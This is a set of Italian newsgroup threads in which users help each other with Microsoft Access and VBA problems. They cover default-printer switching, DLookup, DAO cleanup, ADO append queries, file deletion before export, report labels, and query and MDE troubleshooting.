title: Problema stampante con PdfCreator

author: Sandrobi

text:
Su alcuni computer la funzione per impostare PdfCreator come nuova stampante
di default non funziona. Infatti stampa sempre e solo sulla stampante
predefinita.
Io uso questo codice, integrando quello del Sitocomune:
   'imposto come stampante predefinita la stampante pdfcreator
'    SetDefaultPrinter ("PDFCreator,winspool,Ne01:")   'con questo metodo
non riesco ad individuare il nome esatto
    Dim StampaSu As String
    Dim objWSHNet, objStampante, ciclo As Integer
    Set objWSHNet = CreateObject("WScript.Network")
    Set objStampante = objWSHNet.EnumPrinterConnections
    If objStampante.Count > 0 Then
     For ciclo = 0 To objStampante.Count - 1
      If InStr(objStampante.Item(ciclo + 1), "pdfcreator") Then StampaSu =
objStampante.Item(ciclo + 1)
      ciclo = ciclo + 1
     Next
    End If
    objWSHNet.SetDefaultPrinter StampaSu
    'stampo il report
     DoCmd.OpenReport Rep, acViewNormal
    Sleep (2000)
    'ripristino la stampante predefinita
    SetDefaultPrinter (tmpPrinter)
Preciso:
- uso Wscript perché non sò il nome Winspool per PdfCreator e non ho trovato
come individuarla con l'API
- con gran parte dei computer funziona ma su alcuni (del tutto normali Win
Xp o Win 2000) non rileva il cambio di stampante predefinita.
- per giunta, facendo il debug e visualizzando la finestra Impostazioni >
Stampanti ho notato che prima del Docmd.OpenReport la stampante predefinita
risulta correttamente la PdfCreator
- Ho provato anche a far precedere Doevents o Sleeep(2000), (se mai il Docmd
non faccia in tempo ad intercettare la modifica) ma non cambia nulla
Help Me Thanks!
--
Ciao, Sandrobi
------------------
Se la tua email è fasulla, ti invito a leggere qui:
http://wiki.news.nic.it/AntiSpam


title: Aiuto su imposta valore

author: Dendy

text:
Ho una tabella con nome e codice e vorrei inserire il nome in automatico in
un campo di una maschera partendo dall'inserimento del codice.
ho provato con una macro impostaValore ma non ci sono riuscito, mi potete
dare una mano ?
Anticipatamente ringrazio


title: Aiuto su imposta valore

author: ElioP

text:
On Fri, 28 Apr 2000 16:54:56 +0200, "Dendy" <
me...@tiscalinet.it
>
wrote:

Sull'evento DopoAggiornamento del controllo "codice":
Me!nome = Dlookup("nome","nometabella","codice='" & Me!codice & "'")
Occhio che se il campo "codice" e' di tipo testo
deve essere protetto da apici.
Ciao. ElioP.


title: Aiuto su imposta valore

text:
ElioP <el...@logical.itTOGLIMI> wrote in message
390a85ff...@news.uli.it...

inanzitutto grazie per l'aiuto, ma purtroppo non funziona, il codice che io
ho scritto è il seguente :
Me!testo126 = Dlookup ("cognome/ditta","T-Conferimeno d'incarico","cod
direzione e cod produttore="&me!cod produttore&"")
dove :
testo126 = al campo dove voglio inserire il testo in automatico
cognome/ditta = è dove prelevare il dato che mi servedalla tabella T-
conferimento d'incarico
cod direzione e cod produttore = è il nome del campo dove è inserito il
codice che identifica il dato che voglio inserire
cod produttore= alla casella combinata dove inserisco il codice


title: Aiuto su imposta valore

author: Sergio de Pretis

text:
Dendy ha scritto:
> > >Ho una tabella con nome e codice e vorrei inserire il nome in automatico
...
> > Sull'evento DopoAggiornamento del controllo "codice":
> >
> > Me!nome = Dlookup("nome","nometabella","codice='" & Me!codice & "'")
> >
> > Occhio che se il campo "codice" e' di tipo testo
> > deve essere protetto da apici.
> >
> > Ciao. ElioP.
> inanzitutto grazie per l'aiuto, ma purtroppo non funziona, il codice che io
> ho scritto è il seguente :
>
> Me!testo126 = Dlookup ("cognome/ditta","T-Conferimeno d'incarico","cod
> direzione e cod produttore="&me!cod produttore&"")
>
> dove :
>
> testo126 = al campo dove voglio inserire il testo in automatico
> cognome/ditta = è dove prelevare il dato che mi servedalla tabella T-
> conferimento d'incarico
> cod direzione e cod produttore = è il nome del campo dove è inserito il
> codice che identifica il dato che voglio inserire
> cod produttore= alla casella combinata dove inserisco il codice
Prova ad aggiungere le parentesi quadre nei campi con nome contenente
spazi: cioè:
Me!testo126 = Dlookup ("[cognome/ditta]","[T-Conferimeno
d'incarico]","[cod direzione e cod produttore]="&me!cod produttore&"")
Io preferisco creare un list box con nella prima colonna il codice e
nella seconda il cognome/ditta e poi:
Private Sub Cognome/ditta_AfterUpdate()
    Me.[Cognome/ditta] = Me.[cod direzione e cod produttore].Column(1)
Dove .Column(1) fa riferimento alla seconda colonna del list box (la
prima colonna è la colonna(0) )
Ciao
--------------------------------------------------------------------
Sergio de Pretis                     E-mail
depr...@csgen.it
Via Meli, 18                         phone / fax : (39) 02 2592400
20127 MILANO -  ITALY                mobile phone: (39) 0335 8381706


title: set Recordset = Nothing ?!

author: Enrico Virginio

text:
Mettiamo che che io abbia una routine del genere:
Dim dbs As Database
Dim qdf As QueryDef
Dim rst As Recordset
' Verifica l'accesso al sistema utente_password '
Set dbs = CurrentDb
Set qdf = dbs.QueryDefs("Verifica_psw")
qdf.Parameters("[Forms]![Avvio]![Utente]") = Me!Utente
qdf.Parameters("[Forms]![Avvio]![Psw]") = Me!Psw
Set rst = qdf.OpenRecordset
' se Ok allora apre barra menů programma,accoda utente ed entra '
If rst.RecordCount = 1 Then
Application.CommandBars("Barra DBC").Enabled = True
DoCmd.RunMacro ("Utente")
DoCmd.Close
' se NO OK avvisa con msgbox e non entra '
Else:
DoCmd.RunMacro ("NoAccesso")
End If
End Sub
La mia domanda č : DOVE METTO "Set rst = Nothing" ???!!!
E' sufficiente metterlo alla fine della routine prima di "End Sub" ??
e poi: devo anche chiudere le variabili DAO ? nel senso di
"dbs.close,qdf.close,rst.close" ???
e se si perchč ? oppure non serve ?
Grazie ciao
--
Posted via Mailgate.ORG Server -
http://www.Mailgate.ORG


title: set Recordset = Nothing ?!

author: Basetta

text:


Io normalmente chiudevo tutti gli oggetti che aprivo.
In fondo al mio modulo facevo una serie di
rs.close
Set rs=Ntohing.
Io ho dotato questa procedura quando avevo creato un paginetta ASP e
dopo tot di accessi mi bloccavo tutto.
Praticamente con set allocavo delle risore che poi non rilasciavo.
ciao ciao
Basetta


title: set Recordset = Nothing ?!

author: Alessandro

text:
"Enrico Virginio" <
nor...@libero.it
> wrote in message
news:0a26200b014db23ecf...@mygate.mailgate.org...
> Mettiamo che che io abbia una routine del genere:
>[CUT]
>
> La mia domanda è : DOVE METTO "Set rst = Nothing" ???!!!
> E' sufficiente metterlo alla fine della routine prima di "End Sub" ??
> e poi: devo anche chiudere le variabili DAO ? nel senso di
> "dbs.close,qdf.close,rst.close" ???
> e se si perchè ? oppure non serve ?
>
> Grazie ciao
Hai fatto una bella domanda di filosifia di programmazione.
Penso riceverai risposte differenti con motivazioni valide.
La mia versione:
La prassi di chiudere(perchè RECORDSET vanno chiusi prima)
e azzerare il contenuto di VARIABILI OGGETTO tipo DATABASE, RECORDSET e
QUERYDEF
per me è corretta, libera spazio in MEMORIA, anche se teoricamente alla
chiusura della SUB se le variabili sono dichiarate internamente dovrebbero
essere considerate azzerate.
Quindi
RST.CLOSE
DB.CLOSE
SET RST=Nothing
SET DB=Nothing
Si mettono alla chiusura della SUB/FUNCTION perchè è l'ultima operazione che
si ipotizza debba fare.
OVVIAMENTE devi tenere conto dell'eventuale GESTIONE ERRORI, che se esiste
potrebbe essere necessaria una rivalutazione....!!!
Alessandro.(@Alex)



title: set Recordset = Nothing ?!

author: Antonio Biso

text:
Alessandro <
ik2...@libero.it
> wrote in message
fd595c3e3b9f8348b8...@mygate.mailgate.org...
> La prassi di chiudere(perchè RECORDSET vanno chiusi prima)
> e azzerare il contenuto di VARIABILI OGGETTO tipo DATABASE, RECORDSET e
> QUERYDEF
> per me è corretta, libera spazio in MEMORIA, anche se teoricamente alla
> chiusura della SUB se le variabili sono dichiarate internamente dovrebbero
> essere considerate azzerate.
Fare il nothing automaticamente chiude l'oggetto.
L'uscita dalla sub dovrebbe in teoria fare il nothing ma l'esperienza dice
di no
Antonio


title: set Recordset = Nothing ?!

text:
"Antonio Biso" <
ch...@etruria.net
> wrote in message
news:5iS18.9993$tl3.2...@twister2.libero.it...
> Fare il nothing automaticamente chiude l'oggetto.
> L'uscita dalla sub dovrebbe in teoria fare il nothing ma l'esperienza dice
> di no
>
> Antonio
Già, in effetti io i DOGMI della programmazione li seguo e diventano
tali anche per me, è un pò come avere fede....!!!



title: OT - su google non trovo un ng per ubuntu.

author: montanaro®

text:
...o meglio, ne ho visto uno con pochi membri.
Volevo provare ad installare ubuntu su un pc di casa, ma vorrei
informazioni dirette perchè sono a digiuno.
Non conoscete ng di google o forum su ubuntu/linux per informazioni?
grazie.


author: Carlo Costarella

text:
"montanaro®" <
jor...@gmail.com
> ha scritto nel messaggio
news:e7447dd2-e4a1-49e3...@x21g2000yqa.googlegroups.com...

http://groups.google.com/group/it.comp.os.linux.ubuntu/topics
Il NG italiano è it.comp.os.linux.ubuntu con una media di 500 messaggi nel
mese di maggio scorso.
Il sito italiano:
http://www.ubuntu.it/
Il forum italiano:
http://forum.ubuntu-it.org/
La documentazione in italiano:
http://wiki.ubuntu-it.org/Documentazione
Ciao, Carlo


text:
On 25 Giu, 20:33, "Carlo Costarella" <
carlocoslib...@libero.it
> wrote:
> "montanaro " <
jorj...@gmail.com
> ha scritto nel messaggionews:e7447dd2-e4a1-49e3...@x21g2000yqa.googlegroups.com...
> ...o meglio, ne ho visto uno con pochi membri.
> Volevo provare ad installare ubuntu su un pc di casa, ma vorrei
> informazioni dirette perch sono a digiuno.
> Non conoscete ng di google o forum su ubuntu/linux per informazioni?
> grazie.
>
>
http://groups.google.com/group/it.comp.os.linux.ubuntu/topics
>
> Il NG italiano it.comp.os.linux.ubuntu con una media di 500 messaggi nel
> mese di maggio scorso.
> Il sito italiano:
http://www.ubuntu.it/
> Il forum italiano:
http://forum.ubuntu-it.org/
> La documentazione in italiano:
http://wiki.ubuntu-it.org/Documentazione
>
> Ciao, Carlo
Grazie, a buon rendere.


title: visualizzatore immagini interno con funzione di zoom

author: Nick

text:
esiste la possibilità di integrare in access un visualizzatore immagini (per lo più .tif) con le
funzioni di zoom (ossia al click sinistro zoom +, click destro zoom -, ecc)?
ho cercato qualche programma freeware esterno a cui assegnare l'immagine, ma non ne ho trovati.
ho cercato anche nei controlli activex che mi propone ma ho trovato il Microsoft InkPictures ma non
mi riconosce i tif...
le librerie o quant'altro dovrebbe essere disponibile anche nella versione runtime.
grazie
Ciao Nick


author: Pixel

text:
"Nick" <senz...@chiedetesul.NG> ha scritto nel messaggio
news:jZD_b.27646$Kc3.8...@twister2.libero.it...
> esiste la possibilitā di integrare in access un visualizzatore immagini
(per lo pių .tif) con le
> funzioni di zoom (ossia al click sinistro zoom +, click destro zoom -,
ecc)?
> ho cercato qualche programma freeware esterno a cui assegnare l'immagine,
ma non ne ho trovati.
> ho cercato anche nei controlli activex che mi propone ma ho trovato il
Microsoft InkPictures ma non
> mi riconosce i tif...
> le librerie o quant'altro dovrebbe essere disponibile anche nella versione
runtime.
> grazie
Hai mai visitato il sito di lebans?

www.lebans.com
Trovi di tutto di pių, anche su quest'argomento.
Bye


author: ALESSANDRO Baraldi

text:
"Nick" <senz...@chiedetesul.NG> ha scritto nel messaggio
news:jZD_b.27646$Kc3.8...@twister2.libero.it...

Se usi XP dai un'occhiata al programma ARCHIFOTO che trovi sul sito sotto.
Ciao.
--
@Alex (Alessandro Baraldi)
---------------------------------------------------------------------------
http://www.mantuanet.it/alessandro.baraldi/
---------------------------------------------------------------------------


author: Roberto da casa

text:
"Nick" <senz...@chiedetesul.NG> ha scritto nel messaggio
news:jZD_b.27646$Kc3.8...@twister2.libero.it...

Usa gli AciveX Kodak.
--
Roberto
---------------------------------------------
il Sito Comune di it.comp.appl.access:
http://www.sitocomune.com
---------------------------------------------


title: Teoria e Pratica Gestione Immagine

author: Femto

text:
Ciao Ng, forse il problema è banale però non riesco a risolvere...ho una
tabella tblArticolo e un campo di questa lo dedicato alla memorizzazione del
path immagine relativo, tramite pulsante vorrei selezionare immagine
dell'articolo, tecnica utilizzata è quella dell'immagine collegata esempio
sito comune, ora il problema dov'è?...praticamente nonostante io mi sposti
di record, gestiti tramite access(spostamento), ogni volta che inserisco
l'immagine la stessa apaare anche nei record precedenti....è giusto inserire
un campo Path all'interno della tabella tblArticoli?...qualcuno ha qualche
consiglio?...
grazie in anticipo
Femto


title: Teoria e Pratica Gestione Immagine

author: Sergio MAZZA

text:
"Femto" <
fem...@tiscali.it
> ha scritto nel messaggio news:42c12664$0$17093$5fc...@news.tiscali.it...
> Ciao Ng, forse il problema č banale perň non riesco a risolvere...ho una tabella tblArticolo e un campo di questa lo dedicato alla
> memorizzazione del path immagine relativo, tramite pulsante vorrei selezionare immagine dell'articolo, tecnica utilizzata č quella
> dell'immagine collegata esempio sito comune, ora il problema dov'č?...praticamente nonostante io mi sposti di record, gestiti
> tramite access(spostamento), ogni volta che inserisco l'immagine la stessa apaare anche nei record precedenti....č giusto inserire
> un campo Path all'interno della tabella tblArticoli?...qualcuno ha qualche consiglio?...
>
> grazie in anticipo
>
> Femto
La form č in visualizzazione "Maschere continue"? Sě?? Ahi! Ahi! Ahi!...
Ciao.
--
Sergio MAZZA


title: Teoria e Pratica Gestione Immagine

text:
"Sergio MAZZA" <
sergi...@tiscali.it
> ha scritto nel messaggio
news:d9r991$b2i$1...@domitilla.aioe.org...
> "Femto" <
fem...@tiscali.it
> ha scritto nel messaggio
> news:42c12664$0$17093$5fc...@news.tiscali.it...
>> Ciao Ng, forse il problema è banale però non riesco a risolvere...ho una
>> tabella tblArticolo e un campo di questa lo dedicato alla
>> memorizzazione del path immagine relativo, tramite pulsante vorrei
>> selezionare immagine dell'articolo, tecnica utilizzata è quella
>> dell'immagine collegata esempio sito comune, ora il problema
>> dov'è?...praticamente nonostante io mi sposti di record, gestiti
>> tramite access(spostamento), ogni volta che inserisco l'immagine la
>> stessa apaare anche nei record precedenti....è giusto inserire
>> un campo Path all'interno della tabella tblArticoli?...qualcuno ha
>> qualche consiglio?...
>>
>> grazie in anticipo
>>
>> Femto
>
>
> La form è in visualizzazione "Maschere continue"? Sì?? Ahi! Ahi! Ahi!...
>
> Ciao.
>
> --
> Sergio MAZZA
>
>
Ciao...no no la maschera è in visualizzazione maschera singola...ora stavo
provando ad inseririre su tale mashera una casella di testo che ha come
origine dati il campo, chiamiamolo, Path(tipo testo)appartente alla tabella
tblArticolo, volevo fare un focus su questo ed inserire lì il percorso
immagine, poi lo pongo con proprietà visibile no... nel codice VBA su evento
click del Pulsante per l'inserimento immagine ho scritto:
Private Sub Comando24_Click()
Dim Percorso As String
Percorso = cmdlg_file("*.*")
If Percorso <> vbNullString Then
    Me!PercorsoImmagine.SetFocus
    'popola il controllo Immagine
    Me!PercorsoImmagine = Percorso
    'visualizza il contenuto del file immagine scelto
    Foto.Picture = PercorsoImmagine
    Else
    Foto.Picture = Empty
    End If
End Sub
....scrivendo il messaggio ho testato ed anche questo stesso
problema....forse un requery?
Femto


title: Teoria e Pratica Gestione Immagine

text:
Femto ha detto: in data 28/06/2005 12.58:

> .....scrivendo il messaggio ho testato ed anche questo stesso
> problema....forse un requery?
>
> Femto
>
>
supponendo che percorsoimmagine sia il nome del campo in cui è
memorizzato il path della foto
metti questa parte di codice
 > If me.percorsoimmagine <> vbNullString Then
 >     Foto.Picture = PercorsoImmagine
 >     Else
 >     Foto.Picture = Empty
 >     End If
su "corrente" della maschera
ciao
NIck


title: Teoria e Pratica Gestione Immagine

text:
"Nick" <senz...@chedetesul.NG> ha scritto nel messaggio
news:sbawe.25234$D7.6...@twister1.libero.it...

...grazie...avevo risolto allo stesso modo...nonostante sia già martedì sono
ancora un po' ding dong....
Grazie molte
Femto


title: query di accodamento con ado/adox

author: Enrico Zoffoli

text:
E' da un pň di giorni che ci sto smanettando ma sono ancora nel buio piů
completo. Il problema č questo: sto cercando di eseguire una query di
accodamento con dati raccolti dalla stessa maschera nella quale č
presente il pulsante di comando che fa partire il tutto (evento--gestore
di evento etc etc).
Il pezzo di codice che ho usato piů di tutti č questo
        Dim cat As New ADOX.Catalog
        Dim cmd As New ADODB.Command

        cat.ActiveConnection = CurrentProject.Connection
        Dim strSQL As String

        'strSQL = "INSERT INTO tblRegistrazione "
        'strSQL = strSQL & "(idDestinatario,idUtente,idSegnalazione)
Values "
        'strSQL = strSQL & "(" & cbo2 & ", " & cbo1 & ", " & txt4 & ")"
        strSQL = "Select * from tblUtente"

        cmd.CommandText = strSQL
        cmd.Execute
Dimenticavo, anche con la select niente di niente
Il messaggio di errore che ricevo invece č questo:
Connessione chiusa o non valida in questo contesto. Impossibile
utilizzarla per eseguire l'operazione.
Grazie a chiunque volesse darmi una mano.
--
Posted via Mailgate.ORG Server -
http://www.Mailgate.ORG


title: query di accodamento con ado/adox

author: Giorgio Prx

text:
"Enrico Zoffoli" <
e.zo...@virgilio.it
> ha scritto nel messaggio
news:27ad285461967f11491...@mygate.mailgate.org...

Ciao Cat a cosa ti serve ? Toglilo e assegna la connessione a cmd
Esempio
-------------------------------------------------
Dim Comm As ADODB.Command
'--Questa assegnazione č piů veloce
Set cmd = New ADODB.Command
Dim strSQL As String
strSQL="INSERT ecc ecc"
Cmd.CommandType = adCmdText
Cmd.CommandText = strSQL
Cmd.ActiveConnection = CurrentProject.Connection
Cmd.CommandTimeout = 0  'Infinito
Cmd.execute
Set Cmd=Nothing
-----------------------------------------------
Ciao Giorgio


title: query di accodamento con ado/adox

text:
"Giorgio Prx" <
giorgio...@nospamtiscalinet.it
> wrote in message
news:bm335p$chi$
1...@lacerta.tiscalinet.it
>
> "Enrico Zoffoli" <
e.zo...@virgilio.it
> ha scritto nel messaggio
> news:27ad285461967f11491...@mygate.mailgate.org...
Innanzitto Grazie mille Giorgio. Ho provato e funziona. Il guaio è
seguire ciecamente i listati di guide a cuor leggero.
Un ultima domanda (è una curiosita che voglio togliermi). Senza usare
l'istruzione Cmd.ActiveConnection = CurrentProject.Connection quale
stringa di connessione avrei dovuto passare all'oggetto connection per
aprirlo?



title: query di accodamento con ado/adox

text:
"Enrico Zoffoli" <
e.zo...@virgilio.it
> ha scritto nel messaggio
news:3817bdd8f1445cd6b40...@mygate.mailgate.org...

Ciao Enrico
Ti posto un paio di esempi
Se il database è un MDB di Access e non è il database corrente (altrimenti è
meglio usare CurrentProject.Connection)
---------------------------------
cmd.ActiveConnection =  _
    "Provider=Microsoft.Jet.OLEDB.4.0;" & _
    "User ID=Admin;Data Source=PercorsoDatabase.Mdb;"
---------------------------------
Se il database è su SqlServer
--------------------------------
cmd.ActiveConnection =  _
   "PROVIDER=SQLOLEDB.1;" & _
   "Data Source=NomeServer;" & _
   "Initial Catalog=NomeDatabase;" & _
   "User ID=NomeUser;" & _
    "Pwd=Password;"
-------------------------------
Ovviamente esistono stringhe di connessione anche per Oracle, Db2, ecc ecc.
Ciao Giorgio


title: cancellazione file excel

author: Marco

text:
Da access si può cancellare un file excel su disco fisso prima di esportare
una tabella in un file .xls con lo stesso nome ?
grazie
..."cancella" test.xls
DoCmd.TransferSpreadsheet acExport, acSpreadsheetTypeExcel9, _
    "test", CurrentProject.Path & "\test.xls", True, ""


title: cancellazione file excel

author: Karl Donaubauer

text:
Marco wrote:
> Da access si puň cancellare un file excel su disco fisso prima di
> esportare una tabella in un file .xls con lo stesso nome ?
>
> ..."cancella" test.xls
> DoCmd.TransferSpreadsheet acExport, acSpreadsheetTypeExcel9, _
>    "test", CurrentProject.Path & "\test.xls", True, ""
Kill "quimancailpercorso\test.xls"
--
HTH
Karl
*********
Access FAQ:
www.donkarl.com/it
+ Conferenza Italiana per Sviluppatori di Access (CISA)


title: cancellazione file excel

author: Gaspare

text:
[CUT]
>
> Kill "quimancailpercorso\test.xls"
>
;-)
E per di più occhio vigile che il file non passa x il "cestino"...


title: Lunghezza testo in etichetta

author: mitofab

text:
Salve a tutti,
ho un problema che potrebbe sembrare stupido ma non riesco a
risolverlo. Ho fatto un report dove devo inserire un testo molto
lungo; purtroppo oltre un certo limite, mi dà errore. Ho provato anche
con una etichetta di testo ma niente.
Qualcuno può aiutarmi?
Grazie mille


title: Lunghezza testo in etichetta

text:
mitofab wrote:
> ho un problema che potrebbe sembrare stupido ma non riesco a
> risolverlo. Ho fatto un report dove devo inserire un testo molto
> lungo; purtroppo oltre un certo limite, mi dà errore. Ho provato anche
> con una etichetta di testo ma niente.
> ...

Spiegati meglio:

Quale numero e messaggio di errore ricevi?
Quando viene l'errore? Cosa fai?
Cosa intendi con "inserire"? Incollare dalla clipboard? Dove?
Cos'è "molto lungo"?

--
Ciao
Karl
*********
Access FAQ:
http://www.donkarl.com/it


title: Lunghezza testo in etichetta

text:

errore: "testo molto lungo da modificare"

Provo a spiegarmi meglio:in visualizzazione struttura di un report ho
una etichetta dove devo inserire un testo molto lungo; lo copio da una
parte e faccio incolla ma mi esci l'errore che ho riportato sopra.
Quindi non so come inserire un testo lungo in una etichetta.
Spero di essere stato chiaro.
Grazie ancora


title: Lunghezza testo in etichetta

author: BFS

text:

spezzalo in più etichette
ciao
BFS


title: Lunghezza testo in etichetta

text:

A parte il non definire in modo quantitativo il "molto lungo" sai
anche la malizia vuole la sua parte...

Perchè usare un'etichetta...?
Usa un controllo TextBox che peraltro ha la proprietà di espansione
automatica....

@Alex


title: file specifiche

text:
Ragazzi, il file specifiche utilizzabile nell'export a larghezza fissa,
ha una estensione .ini? Ve lo chiedo perchè vorrei richiamarlo
"manualmente"...


title: file specifiche

author: Maurizio Borrelli

text:
> <
tek...@excite.it
> news:anrpcg$dks$1...@gossip.excite.it...:
> Ragazzi, il file specifiche utilizzabile nell'export a larghezza fissa,
> ha una estensione .ini? Ve lo chiedo perchè vorrei richiamarlo
> "manualmente"...
    Il "file" specifiche... non e' un file. Apri e ispeziona le tabelle di
sistema i cui nomi iniziano con:
        MSysIMEX
dove IMEX sta per IMport EXport.
--
Ciao :-)
Maurizio
--------
?SPQR(C)
 X
--------


title: Query di selezione su + tabelle [HELP]

author: Fabietto

text:
Ciao di nuovo,
ho bisogno che qualcuno mi dia una spiegazione relativamente alla seguente
query:
SELECT  drivers.driver_id, drivers.tipo_prodotto, drivers.prodotto_id,
drivers.categoriadrv_id, drivers.nomefile, drivers.dimensione,
drivers.versione, drivers.datadrv, drivers.descrizione,
sistemioperativi.so_id
FROM sistemioperativi INNER JOIN (drivers INNER JOIN relazioniso ON
drivers.driver_id = relazioniso.driver_id) ON sistemioperativi.so_id =
relazioniso.so_id
WHERE (((drivers.tipo_prodotto)="n") AND ((drivers.prodotto_id)=2) AND
((drivers.categoriadrv_id)=2));
Essa riunisce in pratica 3 tabelle di cui, dove la tabella sistemioperativi
e' relazionata alla tabella drivers grazie alla tabella relazioniso che
serve a risolvere il legame M a M.
Il problema che vorrei risolvere e' dovuto al fatto che vorrei eseguire
questa ricerca basandola sui parametri indicati nella stringa SQL e se tutto
funziona bene specificando un valore per ognuno, le difficolta' sorgono nel
caso volessi fare una ricerca su "tutti" per la voce sistemi operativi
(drivers.categoriadrv_id)=2 in quanto, giustamente, lo stesso elemento mi
viene visualizzato una volta per ogni sistema operativo trovato mentre
vorrei che la visualizzazione fosse unica.
Grazie per l'eventuale aiuto.
Fabio


title: Query di selezione su + tabelle [HELP]

author: Luciano (DOC)

text:
"Fabietto" <
fab...@supereva.it
> wrote in message
news:JqC_6.105021$Uo3.2...@news6.giganews.com...
> Il problema che vorrei risolvere e' dovuto al fatto che vorrei eseguire
> questa ricerca basandola sui parametri indicati nella stringa SQL e se
tutto
> funziona bene specificando un valore per ognuno, le difficolta' sorgono
nel
> caso volessi fare una ricerca su "tutti" per la voce sistemi operativi
> (drivers.categoriadrv_id)=2 in quanto, giustamente, lo stesso elemento mi
> viene visualizzato una volta per ogni sistema operativo trovato mentre
> vorrei che la visualizzazione fosse unica.
Non e' che ho capito molto bene...comuqnue: se togli la condizione avrai
indietro tutti record, elimini in pratica il filtro.
Il fatto dei record duplicati: o e' sbagliato il join (prova il left o il
rigth a seconda d icome sono fatte le tabelle) oppure raggruppa o ancora usa
SELECT DITICT.
Saluti.
Luciano
(DOC)


title: Query di selezione su + tabelle [HELP]

text:
"Luciano (DOC)" <
lucia...@sitocomune.com
> wrote in message
news:9hf2c1$dgdbv$1...@ID-86073.news.dfncis.de...
>  rigth a seconda d icome sono fatte le tabelle) oppure raggruppa o ancora
usa
> SELECT DITICT.
SELECT DISTINCT
pardon!:-)
Saluti.
Luciano
(DOC)


title: Query di selezione su + tabelle [HELP]

text:
> Non e' che ho capito molto bene...comuqnue: se togli la condizione avrai
> indietro tutti record, elimini in pratica il filtro.
> Il fatto dei record duplicati: o e' sbagliato il join (prova il left o il
> rigth a seconda d icome sono fatte le tabelle) oppure raggruppa o ancora
usa
> SELECT DITICT.
Grazie !
effettivamente mi sono accorto di aver fatto un errore, la query completa
e':
SELECT drivers.driver_id, drivers.tipo_prodotto, drivers.prodotto_id,
drivers.categoriadrv_id, drivers.nomefile, drivers.dimensione,
drivers.versione, drivers.datadrv, drivers.descrizione,
sistemioperativi.so_id
FROM sistemioperativi INNER JOIN (drivers INNER JOIN relazioniso ON
drivers.driver_id = relazioniso.driver_id) ON sistemioperativi.so_id =
relazioniso.so_id
WHERE (((drivers.tipo_prodotto)="n") AND ((drivers.prodotto_id)=2) AND
((drivers.categoriadrv_id)=2) AND ((sistemioperativi.so_id)=3));
E il campo con parametro a cui facevo riferimento e':
((sistemioperativi.so_id)=3))
che impostandolo a "*", mi ritorna lo stesso record + volte, uno per ogni
sistema operativo abbinato.
Ho provato con SELECT DISTINCT ma non produce effetto alcuno...
Ora provero' la strada del Join in parte ;-)


title: Visualizzare il risultato di una query senza registrarla nel database

author: Stefano

text:
 Volevo sapere se è possibile visualizzare il risultato di una query,
utilizzando esclusivamente il codice, senza registrare la query nel database
con un nome
Io so che utilizzando il metodo
 Set qdf = db.CreateQueryDef("NomeQuery", strSQL)
 DoCmd.OpenQuery "NomeQuery"
posso visualizzare una tabella con il risultato dell'istruzione sql
contenuta nella variabile strSQl.
Volevo chiedere, però, se è possibile evitare di registrare la query con un
nome sul database, ed utilizzare un altro metodo che, a partire comunque da
una variabile stringa contenente l'istruzione sql, mi apra direttamente la
query con i risultati senza andarla a registrare su database.
Infatti, uttilizzando "CreateQueryDef" se la query risulta già esistente, mi
viene inviato un messaggio di errore. Sono costretto prima ad eliminarla,
poi a creare la stessa query.
Mi chiedo se è possibile evitare tutto questo, facendo aprire direttamente
la query in forma temporanea, senza salvarla.
Spero di essermi fatto capire.
Grazie
Stefano
--
Posted from root@[212.104.51.2]
via Mailgate.ORG Server -
http://www.Mailgate.ORG


author: Sib

text:
""Stefano"" <
stefano....@gvassociati.it
> ha scritto nel messaggio
news:JPEDICIALLLHDFAEKNAPKEL...@gvassociati.it...
> Volevo sapere se è possibile visualizzare il risultato di una query,
> utilizzando esclusivamente il codice, senza registrare la query nel
database
> con un nome
Puoi crearla e poi eliminarla.
Ma perche' non vuoi registrarla? Forse potresti usare una query parametrica
per fare quello che ti serve.
Sib


author: Antonio Biso

text:
"Stefano" <
stefano....@gvassociati.it
> wrote in message
JPEDICIALLLHDFAEKNAPKEL...@gvassociati.it...
> Volevo sapere se è possibile visualizzare il risultato di una query,
> utilizzando esclusivamente il codice, senza registrare la query nel
database
> con un nome
Se la tua query è una query di comando, puoi usare il metodo runsql. Se
sql_cmd è la tua stringa SQL la esegui con
docmd.RunSQL sql_cmd
Oppure la createquerydef accetta anche come nome la stringa vuota il che
significa che non verrà accodata all'insieme delle querydefs (e questo lo
potevi leggere tranquillamente sull'help, sempre troppo trascurato)
Se la query è di selezione puoi solo usare openquery nome_query e quindi
devi per forza salvare la query.
Antonio


author: Lbo

text:
>Infatti, uttilizzando "CreateQueryDef" se la query risulta già esistente, mi
>viene inviato un messaggio di errore. Sono costretto prima ad eliminarla,
>poi a creare la stessa query.
guarda che puoi assegnare la proprietà sql ad una query già creata.
crei una stringa sql, l'assegni alla querydef e buonanotte:
dim dbs as database
dim qdf as querydef
dim ssql as string
set dbs = currentdb
set qdf = dbs.querydefs("NomeQuery")
ssql = "SELECT * FROM Tabella WHERE Campo = Valore"
qdf.sql = ssql
' e adesso NomeQuery è una query di selezione
ssql = "DELETE * FROM AltraTabella"
qdf.sql = ssql
' e adesso è una query di comando, per la precisione una delete
e così via.  per "eseguire" la query mi pare si faccia:
qdf.execute
--
non studio non lavoro non guardo la tv
non vado al cinema non faccio sport
----------------------------------------
il sito comune di it.comp.appl.access:
http://members.xoom.it/it_db_access


title: Esportazione Testo

author: Dinho

text:
Utilizzo access 97 (ma anche XP dà problemi) per esportare dati da una query
secondo un formato testo a larghezza fissa predisposto (non dipende da me).
Tale formato prevede che :
- allineamento a destra dei campi, mentre il risultato che ottengo è di
allineare a sinistra
- ci sono dei valori numerici del tipo 44,89 che devono essere esportati in
un camo testo a larghezza fissa di 6 spazi, col separatore decimale "punto"
in questa maniera  X X X . X X
Ebbene, non solo mi trovo il valore allineato a sinistra, ma pure
arrotondato a 45, senza punto decimale, quindi totalmente "sballato"
rispetto alle aspettative, col risultato che mi tocca correggere
pseudo-manualmente l'errore con wordpad e la sostituzione.
Qualcuno sa dirmi se e dove sbaglio io ....oppure se Access non prevede
ulteriore e più preciso controllo sull esportazione testo?
Ciao
Dinho


title: file mde

author: aviscaorle

text:
buona sera problemma!!!!!
non riesco a creare un file mde   "messaggio errore inpossibile creare file
mde"
uso access2003
cosa devo fare grazie


title: file mde

author: Lorenzo(pyx)

text:
In news:44f86bb0$0$35080$
4faf...@reader4.news.tin.it
,
aviscaorle <
SEZI...@aviscaorle.191.it
> typed:

Ciao,
prima di confezionare il prodotto .mde bisogna
accertarsi che non ci siano errori di sintassi nel codice.
Da una finestra modulo, Debug->Compila
Vedi se ti da qualche errore in qualche routine.
--
Lorenzo


title: file mde

text:
aviscaorle wrote:
> non riesco a creare un file mde   "messaggio errore inpossibile
> creare file mde"
> uso access2003
